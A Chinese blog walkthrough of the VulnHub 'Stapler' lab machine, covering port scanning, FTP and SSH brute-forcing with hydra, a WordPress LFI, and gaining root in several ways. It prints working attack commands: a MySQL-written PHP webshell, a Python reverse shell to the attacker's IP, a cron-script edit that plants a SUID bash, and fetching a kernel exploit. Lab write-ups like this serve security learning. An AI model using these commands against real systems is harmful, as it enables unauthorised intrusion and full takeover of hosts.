0
点赞
收藏
分享

微信扫一扫

vulnhub靶机:Stapler

今天你读书了吗 2022-03-12 阅读 83

文章目录

0x00

原文链接(个人博客):https://bilala.gitee.io/2022/03/11/Stapler/

0x01 靶机安装

难度定位:简单(https://github.com/Ignitetechnologies/CTF-Difficulty

靶机介绍:https://www.vulnhub.com/entry/stapler-1,150/

–> 作者说至少有两种方法拿到普通权限shell,至少三种方法拿到root权限 <–

❕❕在导入靶机到VMware时会跳出这个报错(不知道导VirtualBOX会不会报

image-20220309174657296

解决方法:编辑Stapler.ovf文件,将文档中所有的Caption替换为ElementName,保存;再删除Stapler.mf文件;再导入即可

0x02 靶机发现

利用nmap工具找到目标靶机的ip

nmap -n -sn 192.168.189.0/24
// -n :不做DNS解析
// -sn :不进行端口扫描

image-20220306214329156

找到靶机IP为192.168.189.130

0x03 端口探测

nmap -sS -sV -O -p- 192.168.189.130
// -sS :使用SYN扫描
// -sV :探测端口服务版本信息
// -O :进行系统探测
// -p :指定端口扫描,如-p 1-1000 ,-p-意为指定所有端口

image-20220306215159468

整理扫描信息得到:

21/tcp    open   ftp         vsftpd 2.0.8 or later
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later
139/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))

0x04 信息收集

端口21:FTP服务

继续利用nmap工具对此端口进行更深的扫描,发现此端口存在匿名登录的漏洞

nmap -sS -sV -O -A -p21 192.168.189.130 // -A :一次扫描包含系统探测、版本探测、脚本扫描和跟踪扫描(全面扫描

image-20220306220505548

利用此漏洞登录进FTP后,发现一条留言,同时其中只有note文件

image-20220306221634338

获取note文件内容,发现也是一条留言

image-20220306223600201

至此,整理一下我们获取到的名字,Elly,John,Harry

将这三个名字作为hydra密码爆破的用户名字典(全大写,全小写,首字母大写,如下

image-20220306224500953

再利用hydra工具对FTP服务进行密码爆破

hydra -L user.txt -e nsr 192.168.189.130 ftp
// -L:指定用户名字典
// -e:还可再选的选项,n:null,空密码试探  s:使用与用户名一样的密码试探  r:reverse,使用用户名逆转的密码试探

image-20220306233313549

将得到的elly:ylle登录进FTP,发现挂载在根目录下

image-20220306234901799

取出其中的passwd文件,查看内容

image-20220306235039853

这里我们选取出有登录shell的用户

cat passwd | grep -E "/bin/sh|/bin/bash|/bin/zsh" | cut -d : -f 1 |tee sshuser.txt

image-20220307000201744

用这个用户字典去继续爆破ftp服务后,发现了SHayslett:SHayslett,登录后发现和elly用户的内容一样,再试探22端口服务

端口22:SSH服务

hydra -L sshuser.txt -e nsr 192.168.189.130 ssh

找到SHayslett:SHayslett,登录后发现一条留言,并且在/var/www目录下发现了https目录

image-20220307144010936

尝试用https访问192.168.189.130(靶机地址),无果,猜测网站没开放在默认端口,这里留个心眼先

端口80:HTTP服务

访问靶机的80端口,跳出404页面,用nikto漏扫工具探测一下

nikto --host http://192.168.189.130/

image-20220307145613874

下载扫出的两个目录并未发现什么有效信息

端口139:SMB服务

enum4linux工具用于枚举Windows和Samba主机中的数据

enum4linux -a 192.168.189.130 | tee smb.txt // -a:使用所有简单枚举

在结果中发现两个可以连接的共享路径

image-20220307151541298

利用smbclient工具连进SMB服务

smbclient -N //192.168.189.130/tmp // -N:空口令登录

image-20220307151813580

在tmp下没发现什么有效信息,用同样方法进入kathy路径,发现三个文件

image-20220307152121717

端口666:未知服务

对于未知服务,可以尝试用nc去连接

nc 192.168.189.130 666 ,发现是一个压缩包,并且其中还有一个图片

image-20220307152824345

将数据重定向到本地并解压,得到一张图片,打开发现又是一条留言

nc 192.168.189.130 666 > 666 && unzip 666

image-20220307153240534

image-20220307153321259

端口3306:MySQL服务

用超级弱口令工具,用户名导入之前存下的,密码用自带的(当然结果是没有爆出什么

image-20220307154753667

端口12380:HTTP服务

访问端口,就显示coming soon,其他并没有什么能点击的地方

image-20220307155027655

回想起之前SSH连进去后发现的https目录,尝试用https访问,终于发现靶机的web页面

image-20220307193005998

(用nikto工具也是可以扫出是https访问

0x05 web渗透

SSH的时候已经看到了网站的目录了,一个一个访问过去,最后在blogblog路径下发现信息

image-20220307194332234

我们重新ssh进去此目录下查看,在wp-config.php中发现了数据库root登录的账号密码!

image-20220307202741439

连接进数据库发现了wp_users表,里面存放了当前网站的所有用户信息

image-20220307205205890

将其中的账号和密码列导出,再用john工具配合kali自带字典进行爆破

image-20220307211849160

john --wordlist=/usr/share/wordlists/rockyou.txt wp_users.txt 
// rockyou.txt是从rockyou.txt.gz中解压出的,需要用户自行去目录中解压

image-20220307211905412

访问https://192.168.189.130:12380/blogblog/wp-login.php(为什么是这个路径?ssh进去看咯

image-20220307213837562

John:incorrect登录进去,发现正好是管理员(选john是因为他是表中的第一个,没想到正好是admin

image-20220307214221721

在后台到处瞎看,在plugins中发现了可以文件上传的地方,这不用多说了把,该甩shell试试了

image-20220307214835302

到这一步的时候,我人都傻掉了,突然意识到ssh进去的不就是一个shell嘛(有被自己蠢到

0x06 权限提升

那就直接用那个能登录的ssh终端

查看靶机的bash命令历史

cat /home/*/.bash_history | grep -v exit
// -v:不选出所带参数

image-20220307224735684

发现两个新的ssh用户,登录查看权限

image-20220307225123328

image-20220307225259782

peter用户发现具有sudo组权限,sudo -l查看sudo权限

image-20220307234346919

(ALL:ALL) ALL 表示peter可以以(任意用户:任意用户组)运行任意命令

直接运行sudo su - root获取root权限

image-20220308000138393

image-20220308000214051

至此,靶机渗透结束

0x07 补充

从22端口直接入手,发现都可以省去web渗透的过程了,当然拿到flag并不是我们的最终目的,所以我们还要像作者所说那样,找到不止一条通往root权限的道路。那现在就让我们忘掉ssh拿到的shell重新审视这个靶机吧。

nikto工具扫出https

从我们的12380端口开始,当时也提到了可以用nikto工具扫一下,我们来看看扫描结果

nikto --host http://192.168.189.130:12380/

image-20220309180552783

从结果中我们可以看到扫出了SSL证书,说明确实要用https访问,并且结果中还扫出来几个目录

wpscan

访问nikto扫出的几个目录,在blogblog页面底部有显示wordpress,我们可以用wpscan工具(专门用来扫wordpress网站)来扫描这个网站(使用前需要先配置API token

wpscan --url https://192.168.189.130:12380/blogblog/ --enumerate ap --disable-tls-checks --plugins-detection aggressive| tee wpscan.txt
// --enumerate:枚举信息   ap选项:枚举所有插件
// --disable-tls-checks:忽略TLS检查
// --plugins-detection:使用对应的模式枚举插件   aggressive:主动模式

扫描出的插件有四个,我们把关注点放在这个插件上

image-20220309203551717

这个插件有个LFI漏洞,在网上搜到exp,运行后发现报错,原因是SSL: CERTIFICATE_VERIFY_FAILED

再次运行后发现没任何回显

image-20220309221344435

回到blogblog主页发现多了一张新图片,查看源码找到图片路径

image-20220309221629697

访问后看不到什么内容,将其下载到本地查看

wget --no-check-certificate https://192.168.189.130:12380/blogblog/wp-content/uploads/130588693.jpeg

image-20220309223025082

cat后发现就是wp-config.php的内容

image-20220309223247290

接下来就是登录数据库了,然后爆出用户密码,登录后台(和前边一样,这里就不赘述了

shell获取②:冰蝎马获取shell

到了后台,我们前边也说到了,可以上传文件,我们这里尝试上传个冰蝎的php马,最终也是在https://192.168.189.130:12380/blogblog/wp-content/uploads/这个目录下找到shell.php

image-20220309223745687

使用冰蝎连接webshell获取shell(默认密码rebeyond

image-20220309224349914

shell获取③:利用php-reverse-shell.php获取shell

文件地址:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

自定义其中的ip地址(需要反弹的地址)和端口号

image-20220309224944539

文件上传后,在本地监听对应端口,并且在uploads目录下点击该文件,获取到反弹的shell

image-20220309225157859

shell获取④:MySQL写马获取shell

先利用elly:ylle登进ftp,获取apache2/sites-available/default-ssl.conf文件,查看其中内容,发现https路径在/var/www/https

image-20220309230144518

登录进MySQL,写入我们的shell文件

mysql -h192.168.189.130 -uroot -pplbkac
MySQL [(none)]> SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/mysqlshell.php";

从网页访问这个文件,传入cmd=id发现成功执行命令

image-20220309230704114

接下来就利用cmd调用python命令反弹shell(记得先在本地监听端口

cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.189.129",2334));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20220309231110141

提权②:Cron Jobs 提权

使用任意一种方法获取shell后,在靶机中查找cronjobs定时计划任务

ll /etc/*corn*

image-20220311001158192

最后在/etc/cron.d/logrotate这个文件中发现了以root用户执行的定时任务

image-20220311001617405

该行意思为:每五分钟以root用户执行一次后边的命令,也就是.sh脚本

查看该脚本内容以及权限

image-20220311001923484

脚本权限为rwxrwxrwx,所以我们可以对其任意的修改

echo "cp /bin/bash /tmp/cronroot; chown root:root /tmp/cronroot; chmod u+s /tmp/cronroot" > /usr/local/sbin/cron-logrotate.sh

接下来就是等待五分钟执行定时任务,在/tmp目录下找到生成的文件,并且也具有我们设置的权限rws

image-20220311005118834

直接/tmp/cronroot -p获取root权限(也就是suid提权中的bash -p

image-20220311005236941

提权③:CVE-2016-4557 内核漏洞提权

获取shell后,查看系统内核和发行版信息

uname -a
lsb_release -a

image-20220311003757324

得知内核版本为4.4.0-21-generic,发行版为16.04 LTS ,利用CVE进行提权

在gitee上下载exp的压缩包,并将其解压

wget https://gitee.com/novaiminipekka/exploitdb-bin-sploitsss/raw/master/bin-sploits/39772.zip
unzip 39772.zip

image-20220311004821791

我们需要将其中的exploit.tar上传到靶机中,利用python在kali中起一个http服务

python -m SimpleHTTPServer 8000

image-20220311005601407

在靶机shell中下载exploit.tar,并将其解压

wget http://192.168.189.129:8000/exploit.tar
tar xvf exploit.tar 

image-20220311005819436

最后在ebpf_mapfd_doubleput_exploit/目录下,执行./compile.sh./doubleput命令即可获取root权限

image-20220311010034089

0x08 总结/收获

①:了解了更多的工具

nmap的一些命令,wpscan用来扫wordpress网站,nikto用来当漏扫;还有hydra工具的密码爆破,john工具根据已知密文破解出明文等等

②:了解了一些重要文件

passwd文件存储主机用户信息,/proc/version uname -a lsb_release -a查看系统及内核版本信息;还有wp-config.php中存储wordpress的配置信息(这好像看名字就能知道…)

③:了解了三种提权方法

sudo提权 sudo -l,CronJobs提权 ll /etc/*corn*,CVE-2016-4557提权(4.4.x内核版本,Ubuntu16.04LTS发行版)

0x09 参考文章

nmap的命令详解:https://blog.csdn.net/qq_26090065/article/details/80285088

hydra的命令详解:https://blog.csdn.net/m0_37268841/article/details/99682258

passwd文件:https://www.linuxprobe.com/explain-etc-passwd.html

sudo命令详解:https://www.cnblogs.com/jing99/p/9323080.html

cronjobs提权:https://xz.aliyun.com/t/2401

writeup参考:https://ciphersaw.me/2021/08/29/vulnhub-stapler-1/

举报

相关推荐

0 条评论